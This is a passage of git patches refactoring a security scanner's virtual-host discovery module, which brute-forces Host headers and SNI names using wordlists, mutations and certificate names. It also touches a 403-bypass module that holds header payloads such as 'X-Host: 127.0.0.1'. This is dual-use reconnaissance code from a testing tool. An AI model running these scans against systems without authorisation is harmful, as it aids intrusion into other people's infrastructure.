- if f"{virtualhost_dict['virtual_host']}{basehost}" != event.parsed_url.netloc: + if skip_dns_host is False: await self.emit_event( - virtualhost_dict, - "VIRTUAL_HOST", + virtualhost_dict["virtual_host"], + "DNS_NAME", parent=event, - context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {word} (similarity: {similarity:.2%})", + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {{event.data}}", ) - - if skip_dns_host is False: - await self.emit_event( - f"{virtualhost_dict['virtual_host']}{basehost}", - "DNS_NAME", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {{event.data}}", - ) - - return word - - except Exception as e: - self.debug(f"Error testing virtual host {word}: {e}") - return None + else: + self.debug(f"SKIPPING {probe_host} - same as original netloc") async def _test_https_virtualhost( - self, host, test_host, word, basehost, event, canary_fingerprint, skip_dns_host, host_ip, parsed + self, + host, + probe_host, + basehost, + event, + canary_status, + canary_fingerprint, + skip_dns_host, + host_ip, + discovery_string, ): """ Test a single virtual host candidate using HTTPS SNI with curl --resolve Returns the virtual host name if detected, None otherwise """ - try: - # Extract host IP from event's resolved_hosts (use first one like httpx would) - if not event.resolved_hosts: - self.debug(f"No resolved hosts available for {parsed.hostname} for SNI testing") - return None - - port = parsed.port or 443 - - # Use curl --resolve to map the test_host to the actual IP - # This forces SNI to use test_host while connecting to the real IP - curl_result = await self.helpers.web.curl( - url=f"https://{test_host}:{port}{parsed.path or '/'}", - resolve={"host": test_host, "port": port, "ip": host_ip}, - ) + # Extract host IP from event's resolved_hosts (use first one like httpx would) - if not curl_result: - return None + port = event.parsed_url.port or 443 - # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist - if curl_result["http_code"] == 421: - self.debug(f"SKIPPING {test_host} - got 421 Misdirected Request (SNI not configured)") - return None + # Use curl --resolve to map the test_host to the actual IP + # This forces SNI to use test_host while connecting to the real IP + probe_result = await self.helpers.web.curl( + url=f"https://{probe_host}:{port}{event.parsed_url.path or '/'}", + resolve={"host": probe_host, "port": port, "ip": host_ip}, + ) - # Check for 403 Forbidden - signal that the virtual host is rejected - if curl_result["http_code"] == 403: - self.debug(f"SKIPPING {test_host} - got 403 Forbidden") - return None - - response = curl_result["response_data"] + if not probe_result or probe_result["response_data"] == "": + return None - # Create content fingerprint for comparison - response_fingerprint = self.get_content_fingerprint(response) - if not response_fingerprint: - return None + similarity = self.analyze_response(probe_host, probe_result, canary_status, canary_fingerprint) + if similarity is None: + return None - # Calculate content similarity to canary (junk response) - similarity = self.get_content_similarity(canary_fingerprint, response_fingerprint) + # If similarity is low (different from junk response), it's likely a valid virtual host + if similarity > self.SIMILARITY_THRESHOLD: + return None - # Critical debug info - self.debug( - f"Testing URL: {host} | SNI: {test_host} | Response: {len(response)} bytes | Similarity to canary: {similarity:.3f} | IP: {host_ip}" + virtualhost_dict = { + "host": str(event.host), + "url": host, + "virtual_host": probe_host, + "discovery_technique": discovery_string, + "ip": host_ip, + } + + # Don't emit if this would be the same as the original netloc + if probe_host != event.parsed_url.netloc: + await self.emit_event( + virtualhost_dict, + "VIRTUAL_HOST", + parent=event, + context=f"{{module}} discovered virtual host via SNI brute-force for {event.data} and found {{event.type}}: {probe_host} (similarity: {similarity:.2%})", ) - # If similarity is low (different from junk response), it's likely a valid virtual host - if similarity > self.SIMILARITY_THRESHOLD: - self.debug( - f"SKIPPING {test_host} - too similar to canary ({similarity:.2%} >= {self.SIMILARITY_THRESHOLD:.2%})" - ) - return None - - virtualhost_dict = { - "host": str(event.host), - "url": host, - "virtual_host": word, - "technique": "SNI brute-force", - "ip": host_ip, - } - - # Don't emit if this would be the same as the original netloc - if f"{virtualhost_dict['virtual_host']}{basehost}" != event.parsed_url.netloc: + if skip_dns_host is False: await self.emit_event( - virtualhost_dict, - "VIRTUAL_HOST", + virtualhost_dict["virtual_host"], + "DNS_NAME", parent=event, - context=f"{{module}} discovered virtual host via SNI brute-force for {event.data} and found {{event.type}}: {word} (similarity: {similarity:.2%})", + tags=["virtual-host"], + context="{module} discovered a DNS name during the process of conducting a SNI brute-force for {event.data} and found {event.type}: {event.data}", ) - if skip_dns_host is False: - await self.emit_event( - f"{virtualhost_dict['virtual_host']}{basehost}", - "DNS_NAME", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via SNI brute-force for {event.data} and found {{event.type}}: {{event.data}}", - ) - - return word - - except Exception as e: - self.debug(f"Error testing virtual host {word} via SNI: {e}") - return None + else: + self.debug(f"SKIPPING {probe_host} - same as original netloc") def get_content_fingerprint(self, content): """Extract a representative fingerprint from content (from waf_bypass)""" if not content: return None - # Take 3 samples of 500 chars each from start, middle and end - # This gives us enough context for comparison while reducing storage content_len = len(content) if content_len <= 1500: return content # If content is small enough, just return it all @@ -414,14 +543,19 @@ def get_content_similarity(self, fingerprint1, fingerprint2): def mutations_check(self, virtualhost): mutations_list = [] for mutation in self.helpers.word_cloud.mutations(virtualhost): - for i in ["", "-"]: - mutations_list.append(i.join(mutation)) + mutations_list.extend(["".join(mutation), "-".join(mutation)]) mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) return mutations_list_file async def finish(self): # check existing hosts with wordcloud + if not self.helpers.word_cloud.keys(): + self.debug("No wordcloud data available for finish phase") + return + tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False) + self.verbose(f"=== FINISH PHASE: Starting wordcloud mutations on {len(self.scanned_hosts)} hosts ===") + self.debug(f"Using {len(list(self.helpers.word_cloud.keys()))} words from wordcloud") for host, event in self.scanned_hosts.items(): if host not in self.wordcloud_tried_hosts: @@ -432,8 +566,35 @@ async def finish(self): else: basehost = self.helpers.parent_domain(event.parsed_url.netloc) - await self._run_virtualhost_phase( - "Checking main host with wordcloud", host, f".{basehost}", event, wordlist=tempfile + # Get fresh canary and original response for this host + is_https = event.parsed_url.scheme == "https" + + original_response = await self.helpers.web.curl(url=event.data) + if not original_response: + self.debug(f"Failed to get original response for {event.data} in finish phase, skipping") + continue + + canary_status, canary_fingerprint = await self._get_canary_fingerprint( + host, original_response, next(iter(event.resolved_hosts)), is_https ) + if not canary_fingerprint: + self.debug(f"Failed to setup canary for {host} in finish phase, skipping") + continue + await self._run_virtualhost_phase( + "Target host wordcloud mutations", + host, + f".{basehost}", + event, + canary_status, + canary_fingerprint, + original_response, + wordlist=tempfile, + ) self.wordcloud_tried_hosts.add(host) + + async def filter_event(self, event): + if "cdn-cloudflare" in event.tags or "cdn-imperva" in event.tags or "cdn-akamai" in event.tags: + self.debug(f"Not processing URL {event.data} because it's behind a WAF or CDN, and that's pointless") + return False + return True From 454d7d10ee7fed59d5bf41f2ec71af4ad6ecbf83 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 2 Sep 2025 15:31:48 -0400 Subject: [PATCH 014/129] virtual host another major refactor --- bbot/core/event/base.py | 2 +- bbot/core/helpers/misc.py | 18 + bbot/modules/bypass403.py | 6 +- bbot/modules/virtualhost.py | 749 ++++++++++++++++++++++-------------- 4 files changed, 491 insertions(+), 284 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index cf8e9f3014..43b097779f 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1608,7 +1608,7 @@ class VIRTUAL_HOST(DictHostEvent): class _data_validator(BaseModel): host: str virtual_host: str - discovery_technique: str + description: str url: Optional[str] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index d5e9fea1c9..8ca2fcc94f 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2655,6 +2655,24 @@ async def _semaphore_wrapper(coro): yield task +def get_waf_strings(): + """ + Returns a list of common WAF (Web Application Firewall) detection strings. + + Returns: + list: List of WAF detection strings + + Examples: + >>> waf_strings = get_waf_strings() + >>> "The requested URL was rejected" in waf_strings + True + """ + return [ + "The requested URL was rejected", + "This content has been blocked", + ] + + def clean_dns_record(record): """ Cleans and formats a given DNS record for further processing. diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py index 61fb510775..3539bd19a8 100644 --- a/bbot/modules/bypass403.py +++ b/bbot/modules/bypass403.py @@ -63,8 +63,6 @@ "X-Host": "127.0.0.1", } -# This is planned to be replaced in the future: https://github.com/blacklanternsecurity/bbot/issues/1068 -waf_strings = ["The requested URL was rejected"] for qp in query_payloads: signatures.append(("GET", "{scheme}://{netloc}/{path}%s" % qp, None, True)) @@ -107,8 +105,8 @@ async def do_checks(self, compare_helper, event, collapse_threshold): # In some cases WAFs will respond with a 200 code which causes a false positive if subject_response is not None: - for ws in waf_strings: - if ws in subject_response.text: + for waf_string in self.helpers.get_waf_strings(): + if waf_string in subject_response.text: self.debug("Rejecting result based on presence of WAF string") return diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 78948f2cc9..13743c9eac 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -1,6 +1,8 @@ +from rapidfuzz import fuzz from urllib.parse import urlparse from bbot.modules.base import BaseModule +from bbot.errors import CurlError class virtualhost(BaseModule): @@ -9,21 +11,24 @@ class virtualhost(BaseModule): flags = ["active", "aggressive", "slow", "deadly"] meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} - # Constants for magic values - SIMILARITY_THRESHOLD = 0.95 + deps_pip = ["rapidfuzz", "xxhash"] + + SIMILARITY_THRESHOLD = 0.75 CANARY_LENGTH = 12 - CONTENT_FINGERPRINT_SIZE = 500 special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] options = { "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", "force_basehost": "", - "lines": 5000, - "subdomain_brute": True, + "lines": 2000, + "subdomain_brute": False, "mutation_check": True, "special_hosts": True, "certificate_sans": True, - "max_concurrent_requests": 100, + "max_concurrent_requests": 80, + "require_inaccessible": True, + "canary_mode": "subdomain", + "wordcloud_check": True, } options_desc = { "wordlist": "Wordlist containing subdomains", @@ -33,97 +38,102 @@ class virtualhost(BaseModule): "mutation_check": "Enable mutations check on target host", "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", "certificate_sans": "Enable extraction and testing of Subject Alternative Names from certificates", + "wordcloud_check": "Enable check using scan-wide wordcloud data on target host", "max_concurrent_requests": "Maximum number of concurrent virtual host requests", + "require_inaccessible": "Only test virtual hosts that are not directly accessible (for discovering hidden content)", + "canary_mode": "Canary generation mode: 'subdomain' (default, adds random subdomain) or 'mutation' (mutates existing host)", } in_scope_only = True async def setup(self): - self.max_concurrent = self.config.get("max_concurrent_requests", 100) + self.max_concurrent = self.config.get("max_concurrent_requests", 80) self.scanned_hosts = {} self.wordcloud_tried_hosts = set() self.wordlist = await self.helpers.wordlist(self.config.get("wordlist"), lines=self.config.get("lines", 5000)) + self.similarity_cache = {} # Cache for similarity results return await super().setup() async def handle_event(self, event): if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): - host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" + scheme = event.parsed_url.scheme + host = event.parsed_url.netloc + normalized_url = f"{scheme}://{host}" # since we normalize the URL to the host level, - if host in self.scanned_hosts: + if normalized_url in self.scanned_hosts: return - else: - self.scanned_hosts[host] = event + + self.scanned_hosts[normalized_url] = event + self.critical(f"ADDED {normalized_url} to scanned_hosts") if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") else: basehost = self.helpers.parent_domain(event.parsed_url.netloc) - self.debug(f"Using basehost: {basehost}") - is_https = event.parsed_url.scheme == "https" - # We request the URL in order to get the SSL cert data (for https urls) and to provide a backup for the canary data if the "nonsense" canary fails - original_response = await self.helpers.web.curl(url=event.data) - if not original_response: - self.debug(f"Failed to get original response for {event.data}, skipping virtual host detection") - return + host_ip = next(iter(event.resolved_hosts)) + baseline_response = await self.helpers.web.curl(url=f"{event.parsed_url.scheme}://{basehost}") - # Try to get a canary fingerprint using a nonsense subdomain. It will be compared against brute-forced requests to determine if the request found a real virtual host. - # If the canary fails, we fall back to using the 'original response' as the canary. - canary_status, canary_fingerprint = await self._get_canary_fingerprint( - host, original_response, next(iter(event.resolved_hosts)), is_https - ) - if not canary_fingerprint: - self.debug(f"Failed to setup canary for {host}, skipping virtual host detection") - return + if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): + self.critical(f"SKIPPING {normalized_url} - failed virtual host wildcard check") + return None + + self.hugesuccess(f"VIRTUAL HOST WILDCARD CHECK PASSED FOR {normalized_url}") + self.hugesuccess(f"GOT SUBDOMAIN CANARY RESPONSE FOR {normalized_url}") # Phase 1: Main virtual host bruteforce if self.config.get("subdomain_brute", True): - self.verbose(f"=== Starting subdomain brute-force on {host} ===") + self.verbose(f"=== Starting subdomain brute-force on {normalized_url} ===") await self._run_virtualhost_phase( - "Target host SubdomainBrute-force", - host, + "Target host Subdomain Brute-force", + normalized_url, f".{basehost}", event, - canary_status, - canary_fingerprint, - original_response, + "subdomain", with_mutations=True, ) + mutation_canary_response = await self._get_canary_response( + normalized_url, basehost, host_ip, is_https, mode="mutation" + ) + if not mutation_canary_response: + self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") + return + # Phase 2: Check existing host for mutations if self.config.get("mutation_check", True): - self.verbose(f"=== Starting mutations check on {host} ===") + self.critical(f"=== Starting mutations check on {normalized_url} ===") await self._run_virtualhost_phase( "Mutations on target host", - host, + normalized_url, f".{basehost}", + host_ip, + is_https, event, - canary_status, - canary_fingerprint, - original_response, + "mutation", wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0]), ) # Phase 3: Special virtual host list if self.config.get("special_hosts", True): - self.verbose(f"=== Starting special virtual hosts check on {host} ===") + self.verbose(f"=== Starting special virtual hosts check on {normalized_url} ===") await self._run_virtualhost_phase( "Special virtual host list", - host, + normalized_url, "", + host_ip, + is_https, event, - canary_status, - canary_fingerprint, - original_response, + "random", wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False), skip_dns_host=True, ) # Phase 4: Obtain subject alternate names from certicate and analyze them if self.config.get("certificate_sans", True): - self.verbose(f"=== Starting certificate SAN analysis on {host} ===") + self.verbose(f"=== Starting certificate SAN analysis on {normalized_url} ===") if is_https: subject_alternate_names = await self._analyze_subject_alternate_names(event.data) if subject_alternate_names: @@ -135,12 +145,12 @@ async def handle_event(self, event): san_wordlist = self.helpers.tempfile(subject_alternate_names, pipe=False) await self._run_virtualhost_phase( "Certificate Subject Alternate Name", - host, + normalized_url, "", + host_ip, + is_https, event, - canary_status, - canary_fingerprint, - original_response, + "random", wordlist=san_wordlist, skip_dns_host=True, ) @@ -198,88 +208,214 @@ async def _analyze_subject_alternate_names(self, url): ) return subject_alt_names - async def _get_canary_fingerprint(self, host, original_response, host_ip, is_https): - """Setup canary response for comparison using the appropriate technique. Returns canary fingerprint or None on failure.""" + async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https, mode="subdomain"): + """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure.""" from urllib.parse import urlparse import random import string - parsed = urlparse(host) - baseline_host = parsed.netloc + parsed = urlparse(normalized_url) + host = parsed.netloc - # Generate random junk hostname for canary - canary_host = ( - "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + f".{baseline_host}" - ) + # Seed RNG with domain to get consistent canary hosts for same domain + random.seed(host) + + # Generate canary hostname based on mode + if mode == "mutation": + # Prepend random 4-character string with dash to existing hostname + random_prefix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + canary_host = f"{random_prefix}-{host}" + elif mode == "subdomain": + # Default subdomain mode - add random subdomain + canary_host = ( + "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + f".{basehost}" + ) + elif mode == "random": + # Fully random hostname with .com TLD + random_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + canary_host = f"{random_host}.com" + else: + raise ValueError(f"Invalid canary mode: {mode}") # Get canary response if is_https: port = parsed.port or 443 canary_response = await self.helpers.web.curl( - url=f"https://{canary_host}:{port}{parsed.path or '/'}", + url=f"https://{canary_host}:{port}/", resolve={"host": canary_host, "port": port, "ip": host_ip}, ) else: - canary_response = await self.helpers.web.curl(url=host, headers={"Host": canary_host}) - - if not canary_response or len(canary_response["response_data"]) == 0: - self.debug("Didn't get a response, or got an empty response. Falling back to real host") - canary_status = original_response["http_code"] - canary_fingerprint = self.get_content_fingerprint(original_response["response_data"]) - self.debug( - f"Using original response as canary - Status: {canary_status}, Content length: {len(original_response['response_data'])}" + canary_response = await self.helpers.web.curl(url=normalized_url, headers={"Host": canary_host}) + + if canary_response["http_code"] == 500: + self.hugesuccess(f"WE GOT A 500 FROM OUR CANARY! HERE IS THE domain {canary_host}:") + return canary_response + + async def _is_host_accessible(self, url): + """ + Check if a URL is already accessible via direct HTTP request. + Returns True if the host is accessible (and should be skipped), False otherwise. + """ + try: + response = await self.helpers.web.curl(url=url) + if response and int(response.get("http_code", 0)) > 0: + # Host is accessible with valid HTTP response - skip it + self.hugewarning( + f"URL {url} is already accessible (status: {response['http_code']} and response len of {len(response['response_data'])}" + ) + return True + else: + # No valid HTTP response - good candidate for virtual host testing + self.critical( + f"FOUND GOOD CANDIDATE: {url} with status code {response['http_code']} and response len of {len(response['response_data'])}" + ) + return False + except CurlError as e: + # Error making request - treat as not accessible + self.critical(f"Error checking accessibility of {url}: {e}") + return False + + async def _should_skip_accessible_host(self, probe_host, event): + """ + Check if we should skip this virtual host because it's externally accessible. + Returns True if we should skip it, False if we should report it. + """ + if self.config.get("require_inaccessible", True): + # We DO the check - if it's accessible, skip it + probe_url = f"{event.parsed_url.scheme}://{probe_host}/" + if await self._is_host_accessible(probe_url): + self.hugewarning(f"Skipping virtual host {probe_host} - externally accessible") + return True + + # Either we don't do the check (require_inaccessible=False) or it's not accessible + return False + + async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response): + """Change one char in probe_host and test - if responses are similar, it's probably a wildcard""" + + # Find first alphabetic character and change it, fallback to first character + modified_host = None + for i, char in enumerate(probe_host): + if char.isalpha(): + new_char = "z" if char != "z" else "a" + modified_host = probe_host[:i] + new_char + probe_host[i + 1 :] + break + + if modified_host is None: + # Fallback: generate random hostname of similar length + import random + import string + + modified_host = "".join(random.choice(string.ascii_lowercase) for _ in range(len(probe_host))) + + # Test modified host + if probe_scheme == "https": + port = event.parsed_url.port or 443 + final_canary_response = await self.helpers.web.curl( + url=f"https://{modified_host}:{port}/", resolve={"host": modified_host, "port": port, "ip": host_ip} ) - return canary_status, canary_fingerprint else: - canary_status = canary_response["http_code"] - canary_fingerprint = self.get_content_fingerprint(canary_response["response_data"]) - if not canary_fingerprint: - self.debug(f"Failed to create canary fingerprint for {host}") - return None, None - return canary_status, canary_fingerprint + final_canary_response = await self.helpers.web.curl( + url=f"{probe_scheme}://{probe_host}", headers={"Host": modified_host} + ) + + if not final_canary_response or final_canary_response["http_code"] == 0: + self.debug(f"Wildcard check: {modified_host} failed to respond, assuming {probe_host} is valid") + return True # Modified failed, original probably valid + + # Compare original probe response with modified response + similarity = self.get_content_similarity(probe_response, final_canary_response) + result = similarity <= self.SIMILARITY_THRESHOLD + + self.critical( + f"Wildcard check: {probe_host} vs {modified_host} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> {'PASS' if result else 'FAIL (wildcard)'}" + ) + return result # True if they're different (good), False if similar (wildcard) async def _run_virtualhost_phase( self, discovery_method, - host, + normalized_url, basehost, + host_ip, + is_https, event, - canary_status, - canary_fingerprint, - original_response, + canary_mode, wordlist=None, skip_dns_host=False, with_mutations=False, ): """Helper method to run a virtual host discovery phase and optionally mutations""" - virtual_hosts_found = [] - async for virtualhost in self.curl_virtualhost( + canary_response = await self._get_canary_response( + normalized_url, basehost, host_ip, is_https, mode=canary_mode + ) + self.hugesuccess(f"SUBDOMAIN CANARY RESPONSE CODE: {canary_response['http_code']}") + self.hugesuccess(f"SUBDOMAIN CANARY RESPONSE LENGTH: {len(canary_response['response_data'])}") + + if not canary_response: + self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") + return None + + # Main discovery phase + results = await self.curl_virtualhost( discovery_method, - host, + normalized_url, basehost, event, - canary_status, - canary_fingerprint, - original_response, + canary_response, + canary_mode, wordlist, skip_dns_host, - ): - virtual_hosts_found.append(virtualhost) + ) + if results: if with_mutations: - async for mutation in self.curl_virtualhost( - discovery_method, - host, - basehost, - event, - canary_status, - canary_fingerprint, - original_response, - wordlist=self.mutations_check(virtualhost), - ): - pass # emit of any VIRTUAL_HOST events is handled inside curl_virtualhost - pass # emit of any VIRTUAL_HOST events is handled inside curl_virtualhost + for virtual_host_data in results: + mutation_wordlist = self.mutations_check(virtual_host_data["probe_host"]) + if mutation_wordlist: + self.verbose(f"=== Starting mutations for {virtual_host_data['probe_host']} ===") + mutation_results = await self.curl_virtualhost( + f"Mutations on {virtual_host_data['probe_host']}", + normalized_url, + basehost, + event, + canary_response, + canary_mode, + wordlist=mutation_wordlist, + skip_dns_host=skip_dns_host, + ) + if mutation_results: + results.extend(mutation_results) + + # Final safeguard: check total result count + max_results = 50 # Configurable threshold + self.critical(f"Total virtual hosts found in {discovery_method}: {len(results)}") + if len(results) > max_results: + self.critical( + f"Found {len(results)} virtual hosts (limit: {max_results}), likely false positives - rejecting all results" + ) + return + + # Emit all valid results + for virtual_host_data in results: + # Emit VIRTUAL_HOST event + await self.emit_event( + virtual_host_data["virtualhost_dict"], + "VIRTUAL_HOST", + parent=event, + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})", + ) + + # Emit DNS_NAME_UNVERIFIED event if needed + if virtual_host_data["skip_dns_host"] is False: + await self.emit_event( + virtual_host_data["virtualhost_dict"]["virtual_host"], + "DNS_NAME_UNVERIFIED", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {{event.data}}", + ) async def curl_virtualhost( self, @@ -287,9 +423,8 @@ async def curl_virtualhost( host, basehost, event, - canary_status, - canary_fingerprint, - original_response, + canary_response, + canary_mode, wordlist=None, skip_dns_host=False, ): @@ -298,10 +433,9 @@ async def curl_virtualhost( # Get baseline host for comparison and determine scheme from event baseline_host = event.parsed_url.netloc - is_https = event.parsed_url.scheme == "https" # Collect all words for concurrent processing - wordlist_words = [] + candidates_to_check = [] for word in self.helpers.read_file(wordlist): word = word.strip() if not word: @@ -316,104 +450,110 @@ async def curl_virtualhost( if probe_host == baseline_host: continue - wordlist_words.append((word, probe_host)) + candidates_to_check.append((word, probe_host)) - self.debug(f"Loaded {len(wordlist_words)} candidates from wordlist for {discovery_method}") + self.debug(f"Loaded {len(candidates_to_check)} candidates from wordlist for {discovery_method}") coros = [] host_ips = event.resolved_hosts for host_ip in host_ips: - for word, probe_host in wordlist_words: - if is_https: - technique = "SNI" - discovery_string = f"{discovery_method} ({technique})" - coro = self._test_https_virtualhost( - host, - probe_host, - basehost, - event, - canary_status, - canary_fingerprint, - skip_dns_host, - host_ip, - discovery_string, - ) - else: - technique = "Host header" - discovery_string = f"{discovery_method} ({technique})" - coro = self._test_http_virtualhost( - host, - probe_host, - basehost, - event, - canary_status, - canary_fingerprint, - skip_dns_host, - host_ip, - discovery_string, - ) + for word, probe_host in candidates_to_check: + coro = self._safe_test_virtualhost( + host, + probe_host, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + host_ip, + discovery_method, + ) coros.append(coro) - self.debug( - f"Testing {len(coros)} virtual hosts with max {self.max_concurrent} concurrent requests using {discovery_string} against {len(host_ips)} IPs..." - ) + self.critical(f"CREATED {len(coros)} COROUTINES FOR TESTING") + self.debug( + f"Testing {len(coros)} virtual hosts with max {self.max_concurrent} concurrent requests using {discovery_method} against {len(host_ips)} IPs..." + ) - # Process results as they complete with concurrency control - async for completed in self.helpers.as_completed_with_limit(coros, self.max_concurrent): - result = await completed - if result: - yield result + # Collect all virtual host results before emitting + virtual_host_results = [] - def analyze_response(self, probe_host, probe_result, canary_status, canary_fingerprint): - probe_status = probe_result["http_code"] - # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist - if probe_status == 421: - self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") - return None + # Process results as they complete with concurrency control + try: + async for completed in self.helpers.as_completed_with_limit(coros, self.max_concurrent): + try: + result = completed.result() + if result == "CURLERROR_STOP": + self.critical("Received CurlError signal, stopping all tests") + return [] + elif result: + virtual_host_results.append(result) + except Exception as e: + self.critical(f"Unexpected exception during virtual host testing: {type(e).__name__}: {e}") + return [] + except CurlError as e: + self.critical(f"CurlError in as_completed_with_limit, stopping all tests: {e}") + return [] - # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403) - if probe_status == 403 and canary_status != 403: - self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}") - return None + # Final safeguard: check result count + max_results = 50 # Configurable threshold + if len(virtual_host_results) > max_results: + self.critical( + f"Found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - rejecting all results" + ) + return - # Create content fingerprint for comparison - response_fingerprint = self.get_content_fingerprint(probe_result["response_data"]) - if not response_fingerprint: - self.debug(f"SKIPPING {probe_host} - failed to create response fingerprint") - return None + # Return results for emission at _run_virtualhost_phase level + return virtual_host_results - # Calculate content similarity to canary (junk response) - similarity = self.get_content_similarity(canary_fingerprint, response_fingerprint) - return similarity + async def _safe_test_virtualhost(self, *args, **kwargs): + """Wrapper that catches CurlError and returns signal instead of raising""" + try: + return await self._test_virtualhost(*args, **kwargs) + except CurlError as e: + self.critical(f"CurlError in virtualhost test: {e}") + return "CURLERROR_STOP" - async def _test_http_virtualhost( + async def _test_virtualhost( self, host, probe_host, basehost, event, - canary_status, - canary_fingerprint, + canary_response, + canary_mode, skip_dns_host, host_ip, - discovery_string, + discovery_method, ): """ - Test a single virtual host candidate using HTTP Host header - Returns the virtual host name if detected, None otherwise + Test a single virtual host candidate using HTTP Host header or HTTPS SNI + Returns virtual host data if detected, None otherwise """ + is_https = event.parsed_url.scheme == "https" - # Make request with custom Host header using curl with status code - probe_result = await self.helpers.web.curl( - url=host, - headers={"Host": probe_host}, - resolve={"host": probe_host, "port": event.port or 80, "ip": host_ip}, - ) - if not probe_result: + # Make request - different approach for HTTP vs HTTPS + if is_https: + port = event.parsed_url.port or 443 + probe_response = await self.helpers.web.curl( + url=f"https://{probe_host}:{port}/", + resolve={"host": probe_host, "port": port, "ip": host_ip}, + ) + else: + probe_response = await self.helpers.web.curl( + url=host, + headers={"Host": probe_host}, + resolve={"host": probe_host, "port": event.port or 80, "ip": host_ip}, + ) + + if not probe_response or probe_response["response_data"] == "": + protocol = "HTTPS" if is_https else "HTTP" + self.debug(f"{protocol} probe failed for {probe_host} on ip {host_ip} - no response or empty data") return None - similarity = self.analyze_response(probe_host, probe_result, canary_status, canary_fingerprint) + similarity = self.analyze_response(probe_host, probe_response, canary_response, event) if similarity is None: return None @@ -421,141 +561,198 @@ async def _test_http_virtualhost( if similarity > self.SIMILARITY_THRESHOLD: return None + # Re-verify canary consistency before emission + if not await self._verify_canary(event, canary_response, canary_mode, basehost, host_ip): + self.critical(f"Canary changed since initial test, rejecting {probe_host}") + raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") + else: + self.critical( + f"Canary consistency verified for {probe_host}. Still has code of {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" + ) + virtualhost_dict = { "host": str(event.host), "url": host, "virtual_host": probe_host, - "discovery_technique": discovery_string, + "description": self._build_description(discovery_method, probe_response), "ip": host_ip, } # Don't emit if this would be the same as the original netloc if probe_host != event.parsed_url.netloc: - await self.emit_event( - virtualhost_dict, - "VIRTUAL_HOST", - parent=event, - context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {probe_host} (similarity: {similarity:.2%})", - ) - - if skip_dns_host is False: - await self.emit_event( - virtualhost_dict["virtual_host"], - "DNS_NAME", - parent=event, - tags=["virtual-host"], - context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {{event.data}}", - ) + # Optional: Check if this virtual host is externally accessible before reporting it + if await self._should_skip_accessible_host(probe_host, event): + return None + + # Return data for emission at _run_virtualhost_phase level + technique = "SNI" if is_https else "Host header" + return { + "virtualhost_dict": virtualhost_dict, + "similarity": similarity, + "probe_host": probe_host, + "skip_dns_host": skip_dns_host, + "discovery_method": f"{discovery_method} ({technique})", + } else: self.debug(f"SKIPPING {probe_host} - same as original netloc") + return None - async def _test_https_virtualhost( - self, - host, - probe_host, - basehost, - event, - canary_status, - canary_fingerprint, - skip_dns_host, - host_ip, - discovery_string, - ): - """ - Test a single virtual host candidate using HTTPS SNI with curl --resolve - Returns the virtual host name if detected, None otherwise - """ - # Extract host IP from event's resolved_hosts (use first one like httpx would) - - port = event.parsed_url.port or 443 + def analyze_response(self, probe_host, probe_response, canary_response, event): + probe_status = probe_response["http_code"] + canary_status = canary_response["http_code"] - # Use curl --resolve to map the test_host to the actual IP - # This forces SNI to use test_host while connecting to the real IP - probe_result = await self.helpers.web.curl( - url=f"https://{probe_host}:{port}{event.parsed_url.path or '/'}", - resolve={"host": probe_host, "port": port, "ip": host_ip}, - ) + # Check for invalid/no response - skip processing + if probe_status == 0 or not probe_response.get("response_data"): + 